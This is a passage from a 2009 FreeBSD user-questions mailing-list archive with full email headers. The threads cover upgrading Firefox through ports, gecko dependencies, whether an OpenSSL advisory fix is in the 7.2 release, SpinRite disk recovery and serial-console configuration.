Then build and install the new version. Depending on how you manage your ports, you might need to run something like: "pkgdb -Ffuv" after installing the new port. -- Jerry gesbbb@yahoo.com Parts that positively cannot be assembled in improper order will be. From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 14:39:30 2009 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A7DC2106568E for ; Wed, 26 Aug 2009 14:39:30 +0000 (UTC) (envelope-from ws@au.dyndns.ws) Received: from ipmail01.adl6.internode.on.net (ipmail01.adl6.internode.on.net [203.16.214.146]) by mx1.freebsd.org (Postfix) with ESMTP id 302CD8FC22 for ; Wed, 26 Aug 2009 14:39:29 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ah0BAO3hlEqWZWdv/2dsb2JhbAAI2RCEGgWCNIII X-IronPort-AV: E=Sophos;i="4.44,279,1249223400"; d="scan'208";a="407385035" Received: from ppp103-111.static.internode.on.net (HELO [192.168.1.144]) ([150.101.103.111]) by ipmail01.adl6.internode.on.net with ESMTP; 26 Aug 2009 23:54:16 +0930 From: Wayne Sierke To: Peter Harrison In-Reply-To: <20090826103209.GA1127@ideapad.piggybox> References: <20090826103209.GA1127@ideapad.piggybox> Content-Type: text/plain Date: Wed, 26 Aug 2009 23:54:12 +0930 Message-Id: <1251296652.9279.1420.camel@predator-ii.buffyverse> Mime-Version: 1.0 X-Mailer: Evolution 2.26.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: questions@freebsd.org Subject: Re: Firefox 3.5... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 14:39:30 -0000 On Wed, 2009-08-26 at 11:32 +0100, Peter Harrison wrote: > I've Firefox 3.0.11,1 on my 7.2-release system at the moment. Anyone > offer some advice on moving up to 3.5? > > Is it as simple as pkg_delete'ing 3.0 and then installing 3.5? > > Thanks for any thoughts. Should be, or if you use portupgrade: http://lists.freebsd.org/pipermail/freebsd-questions/2009-July/202568.html Wayne From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 14:46:03 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CA0B6106568F for ; Wed, 26 Aug 2009 14:46:03 +0000 (UTC) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: from mail2.sea5.speakeasy.net (mail2.sea5.speakeasy.net [69.17.117.4]) by mx1.freebsd.org (Postfix) with ESMTP id A64A68FC2B for ; Wed, 26 Aug 2009 14:46:03 +0000 (UTC) Received: (qmail 21417 invoked from network); 26 Aug 2009 14:46:03 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail2.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 26 Aug 2009 14:46:03 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 164945082F; Wed, 26 Aug 2009 10:46:02 -0400 (EDT) To: freebsd-questions@freebsd.org References: <20090826063036.1f8bd20f@scorpio.seibercom.net> From: Lowell Gilbert Date: Wed, 26 Aug 2009 10:46:01 -0400 In-Reply-To: <20090826063036.1f8bd20f@scorpio.seibercom.net> (Jerry's message of "Wed\, 26 Aug 2009 06\:30\:36 -0400") Message-ID: <447hwqhbva.fsf@be-well.ilk.org> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Re: Removing firefox-2.0.0.20_9,1 from system X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 14:46:03 -0000 Jerry writes: > I recently installed openoffice.org-3.1.0_2 on my system. For some > reason it brought in firefox-2 also. I all ready had Firefox-3.5 > installed. I do not want or need two different installations of Firefox > on my system. > > Firefox-2 appears to be required by these programs. > > /var/db/pkg $ pkg_info -R firefox-2.0.0.20_9,1 > Information for firefox-2.0.0.20_9,1: > > Required by: > gegl-0.0.22_6 > gimp-2.6.6,2 > gimp-app-2.6.6_3,1 > gimp-gutenprint-5.1.7_2 > gimp-help-2.4.2_1 > librsvg2-2.26.0_1 > > I am not sure why these programs require Firefox-2 since Firefox-3.5 > was installed prior to their installation. > > Is there any way I can safely remove Firefox-2 and force the use of > Firefox-3.5 instead without breaking anything? It's not using the firefox2 executable, but for gecko support. You will need to rebuild each port from which you want to remove the dependency. Some time soon, the Makefile support will change to using www/libxul instead of its current system. If you want to make an equivalent change before then, you can put WITH_GECKO=libxul in your make.conf and rebuild the dependent ports. See bsd.gecko.mk for more information, or just keep an eye on it to see when the changes come into the tree. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 16:08:49 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C8AE0106568D for ; Wed, 26 Aug 2009 16:08:49 +0000 (UTC) (envelope-from jhelfman@e-e.com) Received: from mail.experts-exchange.com (mail.experts-exchange.com [64.156.132.251]) by mx1.freebsd.org (Postfix) with ESMTP id B5AD38FC26 for ; Wed, 26 Aug 2009 16:08:49 +0000 (UTC) Received: from eggman.experts-exchange.com (unknown [72.29.180.81]) by mail.experts-exchange.com (Postfix) with ESMTP id DE02B4A44633 for ; Wed, 26 Aug 2009 09:08:44 -0700 (PDT) Received: by eggman.experts-exchange.com (sSMTP sendmail emulation); Wed, 26 Aug 2009 09:08:17 -0700 Date: Wed, 26 Aug 2009 09:08:17 -0700 From: Jason To: freebsd-questions@freebsd.org Message-ID: <20090826160816.GA35964@eggman.experts-exchange.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Disposition: inline X-Operating-System: FreeBSD 7.1-RELEASE-p6 EGGMAN X-Living-The-Dream: I love the SLO Life! User-Agent: Mutt/1.5.20 (2009-06-14) Subject: question about security updates X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 16:08:49 -0000 I was wondering in the case of openssl: http://security.freebsd.org/advisories/FreeBSD-SA-09:08.openssl.asc Corrected: 2009-04-22 14:07:14 UTC (RELENG_7, 7.2-PRERELEASE) 2009-04-22 14:07:14 UTC (RELENG_7_2, 7.2-RC2) 2009-04-22 14:07:14 UTC (RELENG_7_1, 7.1-RELEASE-p5) 2009-04-22 14:07:14 UTC (RELENG_7_0, 7.0-RELEASE-p12) 2009-04-22 14:07:14 UTC (RELENG_6, 6.4-STABLE) 2009-04-22 14:07:14 UTC (RELENG_6_4, 6.4-RELEASE-p4) 2009-04-22 14:07:14 UTC (RELENG_6_3, 6.3-RELEASE-p10) CVE Name: CVE-2009-0590 I see that in release 7_2, that this was corrected. Does this mean that if I were to download the 7.2 iso, that this patch would already be applied to this release? To me, it seems that anything that isn't *-RELEASE-p? would be applied to the distributed iso, but I could be wrong. Thanks, Jason From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 16:10:43 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 30CD9106568D for ; Wed, 26 Aug 2009 16:10:43 +0000 (UTC) (envelope-from cpghost@cordula.ws) Received: from fw.farid-hajji.net (fw.farid-hajji.net [213.146.115.42]) by mx1.freebsd.org (Postfix) with ESMTP id A91D68FC33 for ; Wed, 26 Aug 2009 16:10:42 +0000 (UTC) Received: from phenom.cordula.ws (phenom [192.168.254.60]) by fw.farid-hajji.net (Postfix) with ESMTP id C70C836D1D; Wed, 26 Aug 2009 18:10:38 +0200 (CEST) Date: Wed, 26 Aug 2009 18:10:38 +0200 From: cpghost To: Tim Judd Message-ID: <20090826161038.GE11739@phenom.cordula.ws> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824224003.0b5ac2df.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) Cc: FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 16:10:43 -0000 On Mon, Aug 24, 2009 at 02:51:41PM -0600, Tim Judd wrote: > >> Buy spinrite, no matter what. > > It's OS/FS independent. it works on the bits stored on the magnetic > platters, NOT on a filesystem. TiVo, Linux, BSD and Mac OSX drives > are treated the same. Bits on a magnetic platter. It's recovery > stems from the randomization and movement of the head to the sector in > question that allows it to salvage any bits it can (for example, other > recovery will abandon 512bytes if 1 bit cannot be read. spinrite will > recover 512bytes-1bit to a hard drive's spare sector once spinrite > says "i'm done working with this sector".) It leads to a very > successful rate. (Disclaimer: I'm not familiar with spinrite.) 512bytes-1bit may be read back, but you can't be sure that those are the correct bytes! IIRC, sectors are usually protected by some kind of ECC. Simply ignoring the ECC and reading raw magnetic data will all too often result in corrupt sectors. Of course, if you have out-of-band error correction or at least error detection mechanisms (like .PAR or md5/sha1 checksums), raw magnetic recovery is better than nothing, if you're desperate. -cpghost. -- Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 16:11:03 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 11133106568B; Wed, 26 Aug 2009 16:11:03 +0000 (UTC) (envelope-from serenity@exscape.org) Received: from ch-smtp01.sth.basefarm.net (ch-smtp01.sth.basefarm.net [80.76.149.212]) by mx1.freebsd.org (Postfix) with ESMTP id C12088FC2D; Wed, 26 Aug 2009 16:11:02 +0000 (UTC) Received: from c83-253-252-234.bredband.comhem.se ([83.253.252.234]:35689 helo=mx.exscape.org) by ch-smtp01.sth.basefarm.net with esmtp (Exim 4.68) (envelope-from ) id 1MgL5K-0005j5-5a; Wed, 26 Aug 2009 18:10:56 +0200 Received: from [192.168.1.5] (macbookpro [192.168.1.5]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mx.exscape.org (Postfix) with ESMTPSA id E3B20199AA; Wed, 26 Aug 2009 18:10:24 +0200 (CEST) Message-Id: From: Thomas Backman To: Danny Braniss In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Wed, 26 Aug 2009 18:10:22 +0200 References: X-Mailer: Apple Mail (2.936) X-Originating-IP: 83.253.252.234 X-Scan-Result: No virus found in message 1MgL5K-0005j5-5a. X-Scan-Signature: ch-smtp01.sth.basefarm.net 1MgL5K-0005j5-5a 66c568129775857e69e123fe272b9179 Cc: FreeBSD current , freebsd-questions@freebsd.org Subject: Re: Serial console trouble: loader and login works, but no kernel messages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 16:11:03 -0000 On Aug 26, 2009, at 18:04, Danny Braniss wrote: > you need to set > hint.uart.0.flags="0x10" > > danny I already tried that (in /boot/loader.conf); it shows up in dmesg (and didn't before), but still no luck. Regards/thanks, Thomas From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 16:18:56 2009 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 71997106568F for ; Wed, 26 Aug 2009 16:18:56 +0000 (UTC) (envelope-from illoai@gmail.com) Received: from mail-yw0-f202.google.com (mail-yw0-f202.google.com [209.85.211.202]) by mx1.freebsd.org (Postfix) with ESMTP id 2CA8A8FC1C for ; Wed, 26 Aug 2009 16:18:56 +0000 (UTC) Received: by ywh40 with SMTP id 40so386788ywh.14 for ; Wed, 26 Aug 2009 09:18:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=aJpqvMeJuwEhvk4+lCFW+eNfsExeck/l5v1nS0eYuMQ=; b=THAs2TIQjgFOs/VVdGfUFs8mKJ14Bh5m/KvDrxV6RFcx1cpMj1CHdyvO5TUgS3lV6w IDfjeqqvtSMRvNyA+61UpVwvLMFrSef/Gs/r76BfveXejDQcCH0H8ISHe6mdePei1zRo uaVf9F34vqncmzaAsBbZn4RWrUpP/BiNW6Qxo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=kzjlch8nYA8HAdNAbFXHCXrQ7/t1oqS3bPazX3b5iPbK2HYxHPVDuJnMIZ9O7tGIkN c2V1Ii4l7O7ImajcqyYeeN+Ja5BuylrJft78RT758VyTJ2TK2sHRFYkWCzIkJajGgFwX KAXBaMPk9Xf7eYGiXceNfr22C+bzuKrpcWU2Y= MIME-Version: 1.0 Received: by 10.91.122.11 with SMTP id z11mr6159580agm.111.1251302138548; Wed, 26 Aug 2009 08:55:38 -0700 (PDT) In-Reply-To: <1251296652.9279.1420.camel@predator-ii.buffyverse> References: <20090826103209.GA1127@ideapad.piggybox> <1251296652.9279.1420.camel@predator-ii.buffyverse> Date: Wed, 26 Aug 2009 11:55:38 -0400 Message-ID: From: "illoai@gmail.com" To: Wayne Sierke Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: questions@freebsd.org, Peter Harrison Subject: Re: Firefox 3.5... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 16:18:56 -0000 2009/8/26 Wayne Sierke : > On Wed, 2009-08-26 at 11:32 +0100, Peter Harrison wrote: >> I've Firefox 3.0.11,1 on my 7.2-release system at the moment. Anyone >> offer some advice on moving up to 3.5? >> >> Is it as simple as pkg_delete'ing 3.0 and then installing 3.5? >> >> Thanks for any thoughts. > > Should be, or if you use portupgrade: > > http://lists.freebsd.org/pipermail/freebsd-questions/2009-July/202568.html > 2nd'd. portupgrade -o www/firefox35 firefox\* worked perfectly here. -- -- From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 16:45:26 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 90CA7106568C for ; Wed, 26 Aug 2009 16:45:26 +0000 (UTC) (envelope-from david@vizion2000.net) Received: from dns1.vizion2000.net (77-99-36-42.cable.ubr04.chap.blueyonder.co.uk [77.99.36.42]) by mx1.freebsd.org (Postfix) with ESMTP id 4FA958FC1C for ; Wed, 26 Aug 2009 16:45:26 +0000 (UTC) Received: by dns1.vizion2000.net (Postfix, from userid 1001) id 4F45B34D431; Wed, 26 Aug 2009 17:45:25 +0100 (BST) From: David Southwell Organization: Voice & Vision To: freebsd-questions@freebsd.org Date: Wed, 26 Aug 2009 17:45:25 +0100 User-Agent: KMail/1.12.0 (FreeBSD/7.2-RELEASE-p3; KDE/4.3.0; amd64; ; ) References: <20090826103209.GA1127@ideapad.piggybox> <1251296652.9279.1420.camel@predator-ii.buffyverse> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200908261745.25079.david@vizion2000.net> Cc: questions@freebsd.org, Peter Harrison , "illoai@gmail.com" Subject: Re: Firefox 3.5... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 16:45:26 -0000 > 2009/8/26 Wayne Sierke : > > On Wed, 2009-08-26 at 11:32 +0100, Peter Harrison wrote: > >> I've Firefox 3.0.11,1 on my 7.2-release system at the moment. Anyone > >> offer some advice on moving up to 3.5? > >> > >> Is it as simple as pkg_delete'ing 3.0 and then installing 3.5? > >> > >> Thanks for any thoughts. > > > > Should be, or if you use portupgrade: > > > > http://lists.freebsd.org/pipermail/freebsd-questions/2009-July/202568.htm > >l > > 2nd'd. portupgrade -o www/firefox35 firefox\* worked perfectly here. yep it compiles fine on amd64 freebsd 7.2 p3. However when launched it asks for you to accept a cookie from some strange site. I denied the cookie permission and firefox35 immediately shut down. david From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 16:51:49 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 26B1A106568C for ; Wed, 26 Aug 2009 16:51:49 +0000 (UTC) (envelope-from mike@sentex.net) Received: from lava.sentex.ca (pyroxene.sentex.ca [199.212.134.18]) by mx1.freebsd.org (Postfix) with ESMTP id E74B98FC19 for ; Wed, 26 Aug 2009 16:51:48 +0000 (UTC) Received: from mdt-xp.sentex.net (simeon.sentex.ca [192.168.43.27]) by lava.sentex.ca (8.14.3/8.14.3) with ESMTP id n7QGCmjD063503; Wed, 26 Aug 2009 12:12:48 -0400 (EDT) (envelope-from mike@sentex.net) Message-Id: <200908261612.n7QGCmjD063503@lava.sentex.ca> X-Mailer: QUALCOMM Windows Eudora Version 7.1.0.9 Date: Wed, 26 Aug 2009 12:16:03 -0400 To: Thomas Backman From: Mike Tancsa In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Cc: FreeBSD current , freebsd-questions@freebsd.org Subject: Re: Serial console trouble: loader and login works, but no kernel messages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 16:51:49 -0000 At 12:10 PM 8/26/2009, Thomas Backman wrote: >>danny >I already tried that (in /boot/loader.conf); it shows up in dmesg (and >didn't before), but still no luck. Try adding it to /boot/device.hints eg hint.uart.0.at="isa" hint.uart.0.port="0x3F8" hint.uart.0.flags="0x10" hint.uart.0.irq="4" hint.uart.1.at="isa" hint.uart.1.port="0x2F8" Or, if you want to use loader.conf, try hw.uart.console="io:0x3f8" ---Mike >Regards/thanks, >Thomas >_______________________________________________ >freebsd-current@freebsd.org mailing list >http://lists.freebsd.org/mailman/listinfo/freebsd-current >To unsubscribe, send any mail to "freebsd-current-unsubscribe@freebsd.org" -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Sentex Communications, mike@sentex.net Providing Internet since 1994 www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 17:01:23 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 05C5C1065672 for ; Wed, 26 Aug 2009 17:01:23 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp104.prem.mail.ac4.yahoo.com (smtp104.prem.mail.ac4.yahoo.com [76.13.13.43]) by mx1.freebsd.org (Postfix) with SMTP id 88EC88FC14 for ; Wed, 26 Aug 2009 17:01:22 +0000 (UTC) Received: (qmail 80863 invoked from network); 26 Aug 2009 17:01:21 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Received:Date:From:To:Subject:Message-ID:In-Reply-To:References:Reply-To:Organization:X-Mailer:Face:Mime-Version:Content-Type:Content-Transfer-Encoding; b=fqyEA9etSk5522yBh37hjpELN+EF5QBE8YfIHa7ilOR6VhFfXot1mb78JtXYxNF40GCMLpJLljDnqMe623DaiG8z8doh2lBx4Hxtc7pZN+3xPC3CYhnS7Ec+hc/FIv+hKonIQjLA4WjScrJwYmB2aT5NuVGz0Vc6rc9t6T7c+vo= ; Received: from c-67-189-183-172.hsd1.ny.comcast.net (gesbbb@67.189.183.172 with login) by smtp104.prem.mail.ac4.yahoo.com with SMTP; 26 Aug 2009 10:01:21 -0700 PDT X-Yahoo-SMTP: yeAAMgKswBATCul4lSbCWspvTA-- X-YMail-OSG: UMfLXk8VM1llWboeJIcIcPOMIaZZG93ZIVe0myzxaHk0c4Zj635HIM0w9RoH7JqBUDqNAX8J.OMDZqPwOhWFbhznPhRgyxCQOMMhPIunJymCq.mzhn1MfnWhCEbDNY3YWORKH_Vadvb0oalF31mIIC8EM3sTLnJEJtmXonNKzeWwRHLJX64e2IeSzVsepbTXnhKK9Y.JJMUfZEWdQGRps5P1q2omeZ0xBngyOoZqDKBrrmCy64S9wSpr.7LIAZUEG3mB78s56x7g8MbqTP6sSyITisLg023ck0hFligmlDh6lC1OfI3AzQkUDDXwUDaUn.SXVbQQ36_raSOLtS2bTzWwufCr.vV7Dvz2P5w- X-Yahoo-Newman-Property: ymail-3 Received: from scorpio.seibercom.net (localhost [127.0.0.1]) (Authenticated sender: gesbbb@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPA id AE16A2282F for ; Wed, 26 Aug 2009 13:01:20 -0400 (EDT) Date: Wed, 26 Aug 2009 13:01:20 -0400 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20090826130120.5d30aa8d@scorpio.seibercom.net> In-Reply-To: <20090826161038.GE11739@phenom.cordula.ws> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824224003.0b5ac2df.freebsd@edvax.de> <20090826161038.GE11739@phenom.cordula.ws> Organization: seibercom.net X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 17:01:23 -0000 On Wed, 26 Aug 2009 18:10:38 +0200 cpghost wrote: > On Mon, Aug 24, 2009 at 02:51:41PM -0600, Tim Judd wrote: > > >> Buy spinrite, no matter what. > > > > It's OS/FS independent. it works on the bits stored on the magnetic > > platters, NOT on a filesystem. TiVo, Linux, BSD and Mac OSX drives > > are treated the same. Bits on a magnetic platter. It's recovery > > stems from the randomization and movement of the head to the sector > > in question that allows it to salvage any bits it can (for example, > > other recovery will abandon 512bytes if 1 bit cannot be read. > > spinrite will recover 512bytes-1bit to a hard drive's spare sector > > once spinrite says "i'm done working with this sector".) It leads > > to a very successful rate. > > (Disclaimer: I'm not familiar with spinrite.) > > 512bytes-1bit may be read back, but you can't be sure that those are > the correct bytes! IIRC, sectors are usually protected by some kind of > ECC. Simply ignoring the ECC and reading raw magnetic data will all > too often result in corrupt sectors. > > Of course, if you have out-of-band error correction or at least error > detection mechanisms (like .PAR or md5/sha1 checksums), raw magnetic > recovery is better than nothing, if you're desperate. > > -cpghost. I have used Spinrite several times with excellent results. In fact, I recently used it to recover a Laptop drive that had become unusable. Spinrite tries to turn off ECC if possible. It is not the cheapest product; however, it works better than anything else I have tried on bonked discs. Use it on its highest recover level and it will recover the drive; although it may take a while. http://www.grc.com/intro.htm -- Jerry gesbbb@yahoo.com Lord, defend me from my friends; I can account for my enemies. Charles D'Hericault From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 17:02:57 2009 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C74CA1065690 for ; Wed, 26 Aug 2009 17:02:57 +0000 (UTC) (envelope-from david@vizion2000.net) Received: from dns1.vizion2000.net (77-99-36-42.cable.ubr04.chap.blueyonder.co.uk [77.99.36.42]) by mx1.freebsd.org (Postfix) with ESMTP id 8852C8FC30 for ; Wed, 26 Aug 2009 17:02:57 +0000 (UTC) Received: by dns1.vizion2000.net (Postfix, from userid 1001) id 4F45B34D431; Wed, 26 Aug 2009 17:45:25 +0100 (BST) From: David Southwell Organization: Voice & Vision To: freebsd-questions@freebsd.org Date: Wed, 26 Aug 2009 17:45:25 +0100 User-Agent: KMail/1.12.0 (FreeBSD/7.2-RELEASE-p3; KDE/4.3.0; amd64; ; ) References: <20090826103209.GA1127@ideapad.piggybox> <1251296652.9279.1420.camel@predator-ii.buffyverse> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200908261745.25079.david@vizion2000.net> Cc: questions@freebsd.org, Peter Harrison , "illoai@gmail.com" Subject: Re: Firefox 3.5... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 17:02:57 -0000 > 2009/8/26 Wayne Sierke : > > On Wed, 2009-08-26 at 11:32 +0100, Peter Harrison wrote: > >> I've Firefox 3.0.11,1 on my 7.2-release system at the moment. Anyone > >> offer some advice on moving up to 3.5? > >> > >> Is it as simple as pkg_delete'ing 3.0 and then installing 3.5? > >> > >> Thanks for any thoughts. > > > > Should be, or if you use portupgrade: > > > > http://lists.freebsd.org/pipermail/freebsd-questions/2009-July/202568.htm > >l > > 2nd'd. portupgrade -o www/firefox35 firefox\* worked perfectly here. yep it compiles fine on amd64 freebsd 7.2 p3. However when launched it asks for you to accept a cookie from some strange site. I denied the cookie permission and firefox35 immediately shut down. david From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 17:41:57 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 11D21106568B; Wed, 26 Aug 2009 17:41:57 +0000 (UTC) (envelope-from serenity@exscape.org) Received: from ch-smtp01.sth.basefarm.net (ch-smtp01.sth.basefarm.net [80.76.149.212]) by mx1.freebsd.org (Postfix) with ESMTP id C09D58FC37; Wed, 26 Aug 2009 17:41:56 +0000 (UTC) Received: from c83-253-252-234.bredband.comhem.se ([83.253.252.234]:53863 helo=mx.exscape.org) by ch-smtp01.sth.basefarm.net with esmtp (Exim 4.68) (envelope-from ) id 1MgMUz-00081P-42; Wed, 26 Aug 2009 19:41:31 +0200 Received: from [192.168.1.5] (macbookpro [192.168.1.5]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mx.exscape.org (Postfix) with ESMTPSA id 